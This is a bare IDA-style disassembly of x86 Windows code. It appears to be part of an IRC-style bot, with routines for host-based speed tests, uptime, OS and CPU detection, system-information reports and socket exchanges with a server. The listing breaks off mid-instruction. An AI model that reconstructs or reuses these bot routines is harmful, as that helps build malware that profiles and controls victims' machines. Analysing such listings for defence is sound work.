sub_41ABFB proc near ; CODE XREF: sub_401ACD+2E1Ep var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41AA04 push [ebp+eax*4+var_3C] call sub_41AA1E push 8 mov esi, eax call sub_41AA04 push [ebp+eax*4+var_3C] call sub_41AA1E add esp, 10h test esi, esi jz short loc_41ACFC test eax, eax jz short loc_41ACF8 lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41ACFE ; --------------------------------------------------------------------------- loc_41ACF8: ; CODE XREF: sub_41ABFB+F4j mov ebx, esi jmp short loc_41ACFE ; --------------------------------------------------------------------------- loc_41ACFC: ; CODE XREF: sub_41ABFB+F0j mov ebx, eax loc_41ACFE: ; CODE XREF: sub_41ABFB+FBj ; sub_41ABFB+FFj push 0Ch call sub_41AA04 push [ebp+eax*4+var_6C] call sub_41AA1E push 0Ch mov edi, eax call sub_41AA04 push [ebp+eax*4+var_6C] call sub_41AA1E add esp, 10h test edi, edi jz short loc_41AD36 test eax, eax jz short loc_41AD32 lea esi, [eax+edi] shr esi, 1 jmp short loc_41AD38 ; --------------------------------------------------------------------------- loc_41AD32: ; CODE XREF: sub_41ABFB+12Ej mov esi, edi jmp short loc_41AD38 ; --------------------------------------------------------------------------- loc_41AD36: ; CODE XREF: sub_41ABFB+12Aj mov esi, eax loc_41AD38: ; CODE XREF: sub_41ABFB+135j ; sub_41ABFB+139j push 6 call sub_41AA04 push [ebp+eax*4+var_1C] call sub_41AA1E push 6 mov edi, eax call sub_41AA04 push [ebp+eax*4+var_1C] call sub_41AA1E add esp, 10h test edi, edi jz short loc_41AD70 test eax, eax jz short loc_41AD6C lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41AD72 ; --------------------------------------------------------------------------- loc_41AD6C: ; CODE XREF: sub_41ABFB+168j mov ecx, edi jmp short loc_41AD72 ; --------------------------------------------------------------------------- loc_41AD70: ; CODE XREF: sub_41ABFB+164j mov ecx, eax loc_41AD72: ; CODE XREF: sub_41ABFB+16Fj ; sub_41ABFB+173j xor eax, eax test ebx, ebx jz short loc_41AD7F mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41AD82 ; --------------------------------------------------------------------------- loc_41AD7F: ; CODE XREF: sub_41ABFB+17Bj push 2 pop edi loc_41AD82: ; CODE XREF: sub_41ABFB+182j test esi, esi jz short loc_41AD8A add eax, esi jmp short loc_41AD8B ; --------------------------------------------------------------------------- loc_41AD8A: ; CODE XREF: sub_41ABFB+189j dec edi loc_41AD8B: ; CODE XREF: sub_41ABFB+18Dj test ecx, ecx jz short loc_41AD93 add eax, ecx jmp short loc_41AD94 ; --------------------------------------------------------------------------- loc_41AD93: ; CODE XREF: sub_41ABFB+192j dec edi loc_41AD94: ; CODE XREF: sub_41ABFB+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_43A990 push eax call sub_41C266 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_26C] push eax call sub_415D38 add esp, 30h pop edi pop esi pop ebx leave retn sub_41ABFB endp ; =============== S U B R O U T I N E ======================================= sub_41ADD8 proc near ; CODE XREF: sub_401ACD+257Bp ; sub_401ACD+29CDp ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call near ptr 2690794h nop xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DBC90 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41C360 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41ADD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE41 proc near ; CODE XREF: sub_4172C1+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 26D0613h test eax, eax jz short loc_41AED4 cmp [ebp+var_90], 4 jnz short loc_41AEAA cmp [ebp+var_8C], esi jnz short loc_41AE92 cmp [ebp+var_84], 1 jnz short loc_41AE85 push 1 pop esi loc_41AE85: ; CODE XREF: sub_41AE41+3Fj cmp [ebp+var_84], 2 jnz short loc_41AED4 push 1 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AE92: ; CODE XREF: sub_41AE41+36j cmp [ebp+var_8C], 0Ah jnz short loc_41AE9F loc_41AE9B: ; CODE XREF: sub_41AE41+78j push 2 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AE9F: ; CODE XREF: sub_41AE41+58j cmp [ebp+var_8C], 5Ah jnz short loc_41AED4 jmp short loc_41AEC4 ; --------------------------------------------------------------------------- loc_41AEAA: ; CODE XREF: sub_41AE41+2Ej cmp [ebp+var_90], 5 jnz short loc_41AED4 cmp [ebp+var_8C], esi jz short loc_41AE9B cmp [ebp+var_8C], 1 jnz short loc_41AEC8 loc_41AEC4: ; CODE XREF: sub_41AE41+67j push 3 jmp short loc_41AED3 ; --------------------------------------------------------------------------- loc_41AEC8: ; CODE XREF: sub_41AE41+81j cmp [ebp+var_8C], 2 jnz short loc_41AED4 push 7 loc_41AED3: ; CODE XREF: sub_41AE41+4Fj ; sub_41AE41+5Cj ... pop esi loc_41AED4: ; CODE XREF: sub_41AE41+25j ; sub_41AE41+4Bj ... mov eax, esi pop esi leave retn sub_41AE41 endp ; =============== S U B R O U T I N E ======================================= sub_41AED9 proc near ; CODE XREF: sub_41AF8F+290p push ebx push esi push edi mov esi, 0F4240h loc_41AEE1: ; CODE XREF: sub_41AED9+2Fj ; sub_41AED9+35j rdtsc push 3E8h mov edi, edx mov ebx, eax nop call near ptr 2680000h rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call sub_41DCB0 mov edi, edx mov ebx, eax test edi, edi ja short loc_41AEE1 jb short loc_41AF10 cmp ebx, esi ja short loc_41AEE1 loc_41AF10: ; CODE XREF: sub_41AED9+31j push 0 push 64h push edi push ebx call sub_41DD20 mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AF83 jb short loc_41AF2F cmp esi, 50h jnb short loc_41AF34 loc_41AF2F: ; CODE XREF: sub_41AED9+4Fj push 4Bh xor edx, edx pop eax loc_41AF34: ; CODE XREF: sub_41AED9+54j test ecx, ecx ja short loc_41AF83 jb short loc_41AF3F cmp esi, 47h jnb short loc_41AF44 loc_41AF3F: ; CODE XREF: sub_41AED9+5Fj push 42h xor edx, edx pop eax loc_41AF44: ; CODE XREF: sub_41AED9+64j test ecx, ecx ja short loc_41AF83 jb short loc_41AF4F cmp esi, 37h jnb short loc_41AF54 loc_41AF4F: ; CODE XREF: sub_41AED9+6Fj push 32h xor edx, edx pop eax loc_41AF54: ; CODE XREF: sub_41AED9+74j test ecx, ecx ja short loc_41AF83 jb short loc_41AF5F cmp esi, 26h jnb short loc_41AF64 loc_41AF5F: ; CODE XREF: sub_41AED9+7Fj push 21h xor edx, edx pop eax loc_41AF64: ; CODE XREF: sub_41AED9+84j test ecx, ecx ja short loc_41AF83 jb short loc_41AF6F cmp esi, 1Eh jnb short loc_41AF74 loc_41AF6F: ; CODE XREF: sub_41AED9+8Fj push 19h xor edx, edx pop eax loc_41AF74: ; CODE XREF: sub_41AED9+94j test ecx, ecx ja short loc_41AF83 jb short loc_41AF7F cmp esi, 0Ah jnb short loc_41AF83 loc_41AF7F: ; CODE XREF: sub_41AED9+9Fj xor eax, eax xor edx, edx loc_41AF83: ; CODE XREF: sub_41AED9+4Dj ; sub_41AED9+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41AED9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF8F proc near ; CODE XREF: sub_401ACD+2728p var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h var_4E8 = byte ptr -4E8h var_3E4 = byte ptr -3E4h var_2E8 = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_43DB88 mov [ebp+var_CC], 94h nop call near ptr 26D0613h xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41B016 cmp [ebp+var_C4], ebx jnz short loc_41AFF2 cmp [ebp+var_BC], 1 jnz short loc_41AFDC mov [ebp+var_4], offset dword_431620 loc_41AFDC: ; CODE XREF: sub_41AF8F+44j cmp [ebp+var_BC], 2 jnz loc_41B091 mov [ebp+var_4], offset dword_43161C jmp short loc_41B062 ; --------------------------------------------------------------------------- loc_41AFF2: ; CODE XREF: sub_41AF8F+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41B004 mov [ebp+var_4], offset dword_431618 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B004: ; CODE XREF: sub_41AF8F+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41B052 mov [ebp+var_4], offset dword_431614 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B016: ; CODE XREF: sub_41AF8F+33j cmp [ebp+var_C8], 5 jnz short loc_41B052 cmp [ebp+var_C4], ebx jnz short loc_41B030 mov [ebp+var_4], offset dword_431610 jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B030: ; CODE XREF: sub_41AF8F+96j cmp [ebp+var_C4], 1 jnz short loc_41B042 mov [ebp+var_4], offset dword_43160C jmp short loc_41B059 ; --------------------------------------------------------------------------- loc_41B042: ; CODE XREF: sub_41AF8F+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41B059 loc_41B052: ; CODE XREF: sub_41AF8F+7Cj ; sub_41AF8F+8Ej mov [ebp+var_4], offset dword_431604 loc_41B059: ; CODE XREF: sub_41AF8F+73j ; sub_41AF8F+85j ... cmp [ebp+var_BC], 2 jnz short loc_41B091 loc_41B062: ; CODE XREF: sub_41AF8F+61j cmp [ebp+var_B8], bl jz short loc_41B091 lea eax, [ebp+var_B8] push eax lea eax, [ebp+var_2E8] push [ebp+var_4] push offset dword_436BB4 push eax call sub_41C266 lea eax, [ebp+var_2E8] add esp, 10h mov [ebp+var_4], eax loc_41B091: ; CODE XREF: sub_41AF8F+54j ; sub_41AF8F+D1j ... mov ax, word_4383AC push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CB8B4 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41B0CA lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax loc_41B0CA: ; CODE XREF: sub_41AF8F+12Cj push [ebp+arg_4] call sub_40AA06 pop ecx push eax call dword_4CBA14 mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CB98C cmp eax, ebx jz short loc_41B0F3 push dword ptr [eax] jmp short loc_41B0F8 ; --------------------------------------------------------------------------- loc_41B0F3: ; CODE XREF: sub_41AF8F+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41B0F8: ; CODE XREF: sub_41AF8F+162j lea eax, [ebp+var_3E4] push eax call sub_41C266 pop ecx lea eax, [ebp+var_4E8] pop ecx push 104h push eax nop call near ptr 2670A44h lea eax, [ebp+var_114] push 46h push eax push offset dword_43AC78 push ebx mov esi, 409h push ebx push esi nop call near ptr 2760000h lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call near ptr 2750000h nop push 20h lea eax, [ebp+var_38] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_38] push eax call near ptr 2880000h nop push ebx push ebx lea eax, [ebp+var_18] push ebx push eax lea eax, [ebp+var_4E8] push eax call sub_41C3B1 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_7E8] push eax call sub_416DD9 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41ADD8 add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AA06 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+var_4E8] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416CC9 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416CC9 pop ecx pop ecx push eax call sub_41AED9 push edx push eax push offset dword_43AB9C push 200h push [ebp+arg_0] call sub_41C360 mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AF8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B243 proc near ; CODE XREF: sub_401ACD+2756p ; sub_401ACD+71F5p var_8C = byte ptr -8Ch var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi lea eax, [ebp+var_8C] push 0 push eax call sub_41BF70 add esp, 0Ch cmp dword_4CBABC, 0 jnz short loc_41B2AF push 0 lea eax, [ebp+var_8C] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CB898 test eax, eax jnz short loc_41B298 lea eax, [ebp+var_8C] push offset dword_43ACF0 push eax call sub_41C266 pop ecx pop ecx loc_41B298: ; CODE XREF: sub_41B243+40j test [ebp+var_C], 1 jz short loc_41B2A5 push offset dword_43ACE8 jmp short loc_41B2AA ; --------------------------------------------------------------------------- loc_41B2A5: ; CODE XREF: sub_41B243+59j push offset off_43ACE4 loc_41B2AA: ; CODE XREF: sub_41B243+60j lea eax, [ebp+var_8] jmp short loc_41B2C7 ; --------------------------------------------------------------------------- loc_41B2AF: ; CODE XREF: sub_41B243+28j mov esi, offset off_43ACE0 lea eax, [ebp+var_8] push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_8C] pop ecx push esi loc_41B2C7: ; CODE XREF: sub_41B243+6Aj push eax call sub_41C266 pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AA06 pop ecx push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_8] push eax push offset dword_43AC9C push 200h push [ebp+arg_0] call sub_41C360 mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41B243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B302 proc near ; DATA XREF: sub_401ACD+757Fo var_65C = byte ptr -65Ch var_55C = byte ptr -55Ch var_35C = dword ptr -35Ch var_358 = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi lea eax, [ebp+var_148] push ebx push eax mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43ADD0 call sub_41BF70 push edi lea eax, [ebp+var_1C8] push ebx push eax call sub_41BF70 push edi lea eax, [ebp+var_C8] push ebx push eax call sub_41BF70 push 100h lea eax, [ebp+var_65C] push ebx push eax call sub_41BF70 push 3Ch lea eax, [ebp+var_48] pop edi push edi push ebx push eax call sub_41BF70 add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+var_34], esi push eax lea eax, [ebp+var_358] push ebx push eax mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_358] push eax call dword_4CB8D0 test eax, eax jz loc_41B49C cmp [ebp+var_34], ebx jbe short loc_41B3D9 push [ebp+var_34] lea eax, [ebp+var_148] push [ebp+var_38] push eax call sub_41BFD0 add esp, 0Ch loc_41B3D9: ; CODE XREF: sub_41B302+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41B3F7 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_41BFD0 add esp, 0Ch loc_41B3F7: ; CODE XREF: sub_41B302+DEj cmp [ebp+var_20], ebx jbe short loc_41B411 push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_41BFD0 add esp, 0Ch loc_41B411: ; CODE XREF: sub_41B302+F8j cmp [ebp+var_18], ebx jbe short loc_41B42B push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_41BFD0 add esp, 0Ch loc_41B42B: ; CODE XREF: sub_41B302+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_4CB984 call dword_4CB9A8 mov esi, eax cmp esi, ebx jz short loc_41B4B4 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CB99C cmp eax, ebx mov [ebp+var_4], eax jz short loc_41B4BB push ebx push ebx push ebx push ebx push eax call dword_4CB948 test eax, eax jz short loc_41B495 push offset dword_43ADB4 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B495: ; CODE XREF: sub_41B302+18Aj push offset unk_43AD78 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B49C: ; CODE XREF: sub_41B302+B7j lea eax, [ebp+var_55C] push offset dword_43AD5C push eax call sub_41C266 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41B4CE ; --------------------------------------------------------------------------- loc_41B4B4: ; CODE XREF: sub_41B302+153j push offset unk_43AD30 jmp short loc_41B4C0 ; --------------------------------------------------------------------------- loc_41B4BB: ; CODE XREF: sub_41B302+17Bj push offset unk_43AD00 loc_41B4C0: ; CODE XREF: sub_41B302+191j ; sub_41B302+198j ... lea eax, [ebp+var_55C] push eax call sub_41C266 pop ecx pop ecx loc_41B4CE: ; CODE XREF: sub_41B302+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41B4F9 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_409869 add esp, 14h loc_41B4F9: ; CODE XREF: sub_41B302+1D2j lea eax, [ebp+var_55C] push eax call sub_415D38 pop ecx push esi call dword_4CBA08 push [ebp+var_4] call dword_4CBA08 push [ebp+var_1D8] call sub_40B6D6 pop ecx push ebx call near ptr 26E0000h nop pop edi pop esi pop ebx sub_41B302 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41B52C proc near ; CODE XREF: sub_401ACD+4F59p arg_0 = dword ptr 4 push esi push 100h mov esi, offset byte_4DBCCC push 0 push esi call sub_41BF70 add esp, 0Ch push [esp+4+arg_0] push offset aS_1 ; "%s" push 0FFh push esi call sub_41C360 add esp, 10h pop esi retn sub_41B52C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B55B proc near ; CODE XREF: ___:0041B843p ; ___:0041B860p ... var_14 = byte ptr -14h var_C = byte ptr -0Ch var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push esi push edi mov esi, offset dword_4DBDD4 lea edi, [ebp+var_C] mov ax, word_43ADD4 movsd movsb mov esi, offset dword_4DBDCC lea edi, [ebp+var_14] mov [ebp+var_2], ax mov ax, word_4346DC movsd mov [ebp+var_6], ax mov ax, word_4CB88C movsw mov [ebp+var_4], ax mov eax, [ebp+arg_8] xor esi, esi cmp eax, esi jnz loc_41B627 mov edi, [ebp+arg_0] push ebx mov ebx, [ebp+arg_4] mov [ebp+arg_8], esi loc_41B5AD: ; CODE XREF: sub_41B55B+C7j mov eax, [ebp+arg_8] sub eax, esi jz short loc_41B5CD dec eax jnz short loc_41B61B push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B5E1 ; --------------------------------------------------------------------------- loc_41B5CD: ; CODE XREF: sub_41B55B+57j push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 push esi push 1 lea eax, [ebp+var_6] loc_41B5E1: ; CODE XREF: sub_41B55B+70j push eax push edi call dword_4CBA24 push ebx call sub_41B9C0 pop ecx cmp eax, 2 push esi jnz short loc_41B5FD push 4 lea eax, [ebp+var_C] jmp short loc_41B602 ; --------------------------------------------------------------------------- loc_41B5FD: ; CODE XREF: sub_41B55B+99j push 5 lea eax, [ebp+var_14] loc_41B602: ; CODE XREF: sub_41B55B+A0j push eax push edi call dword_4CBA24 push esi push ebx call sub_41B9C0 pop ecx push eax push ebx push edi call dword_4CBA24 loc_41B61B: ; CODE XREF: sub_41B55B+5Aj inc [ebp+arg_8] cmp [ebp+arg_8], 1 jle short loc_41B5AD pop ebx jmp short loc_41B69D ; --------------------------------------------------------------------------- loc_41B627: ; CODE XREF: sub_41B55B+42j dec eax jz short loc_41B646 dec eax jnz short loc_41B69D mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 push esi push 1 lea eax, [ebp+var_4] jmp short loc_41B65D ; --------------------------------------------------------------------------- loc_41B646: ; CODE XREF: sub_41B55B+CDj mov edi, [ebp+arg_0] push esi lea eax, [ebp+var_2] push 1 push eax push edi call dword_4CBA24 push esi push 1 lea eax, [ebp+var_6] loc_41B65D: ; CODE XREF: sub_41B55B+E9j push eax push edi call dword_4CBA24 push [ebp+arg_4] call sub_41B9C0 pop ecx cmp eax, 2 push esi jnz short loc_41B67B push 4 lea eax, [ebp+var_C] jmp short loc_41B680 ; --------------------------------------------------------------------------- loc_41B67B: ; CODE XREF: sub_41B55B+117j push 5 lea eax, [ebp+var_14] loc_41B680: ; CODE XREF: sub_41B55B+11Ej push eax push edi call dword_4CBA24 push esi push [ebp+arg_4] call sub_41B9C0 pop ecx push eax push [ebp+arg_4] push edi call dword_4CBA24 loc_41B69D: ; CODE XREF: sub_41B55B+CAj ; sub_41B55B+D0j pop edi pop esi leave retn sub_41B55B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 288h push ebx push esi push edi mov esi, offset dword_43ADEC lea edi, [ebp-38h] mov ax, word_4346DC movsd movsd movsd movsb mov esi, offset dword_43ADE8 lea edi, [ebp-1Ch] movsw movsb mov esi, offset dword_4DBDD4 lea edi, [ebp-28h] movsd movsb mov esi, offset dword_43ADE4 lea edi, [ebp-10h] movsw movsb mov esi, offset dword_43ADE0 lea edi, [ebp-14h] movsw movsb mov esi, offset dword_43ADDC lea edi, [ebp-0Ch] movsw movsb xor esi, esi mov [ebp-6], ax mov [ebp-16h], ax mov ax, word ptr aR ; "r" push esi push 1 push 2 mov [ebp-18h], ax xor edi, edi call dword_4CBA54 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41B724 push eax call dword_4CBA6C loc_41B724: ; CODE XREF: ___:0041B71Bj lea eax, [ebp+0Ch] mov word ptr [ebp-48h], 2 push eax call dword_4CBA14 push dword ptr [ebp+0A8h] mov [ebp-44h], eax call dword_4CB9D4 mov [ebp-46h], ax lea eax, [ebp-48h] push 10h push eax push ebx call dword_4CB97C test eax, eax jnz loc_41B820 loc_41B75C: ; CODE XREF: ___:0041B7CEj ; ___:0041B805j push 40h lea eax, [ebp-88h] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-88h] push esi push 40h push eax push ebx call dword_4CB9EC cmp eax, esi jle loc_41B82E cmp eax, 0FFFFFFFFh jz loc_41B82E mov eax, edi sub eax, esi jz short loc_41B7D0 dec eax jz short loc_41B79E dec eax jz short loc_41B80A jmp short loc_41B800 ; --------------------------------------------------------------------------- loc_41B79E: ; CODE XREF: ___:0041B797j lea eax, [ebp-1Ch] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_41B820 lea eax, [ebp-6] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp-6] push eax push ebx call dword_4CBA24 push 2 pop edi jmp short loc_41B75C ; --------------------------------------------------------------------------- loc_41B7D0: ; CODE XREF: ___:0041B794j lea eax, [ebp-38h] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_41B820 lea eax, [ebp-38h] push esi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp-38h] push eax push ebx call dword_4CBA24 push 1 pop edi loc_41B800: ; CODE XREF: ___:0041B79Cj cmp edi, 3 jz short loc_41B82E jmp loc_41B75C ; --------------------------------------------------------------------------- loc_41B80A: ; CODE XREF: ___:0041B79Aj lea eax, [ebp-28h] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41B82E loc_41B820: ; CODE XREF: ___:0041B756j ; ___:0041B7B2j ... push ebx call dword_4CBA6C xor eax, eax jmp loc_41B9B7 ; --------------------------------------------------------------------------- loc_41B82E: ; CODE XREF: ___:0041B781j ; ___:0041B78Aj ... push esi lea eax, [ebp-16h] push 1 push eax push ebx call dword_4CBA24 lea eax, [ebp-10h] push 1 push eax push ebx call sub_41B55B mov esi, dword_427080 add esp, 0Ch mov edi, 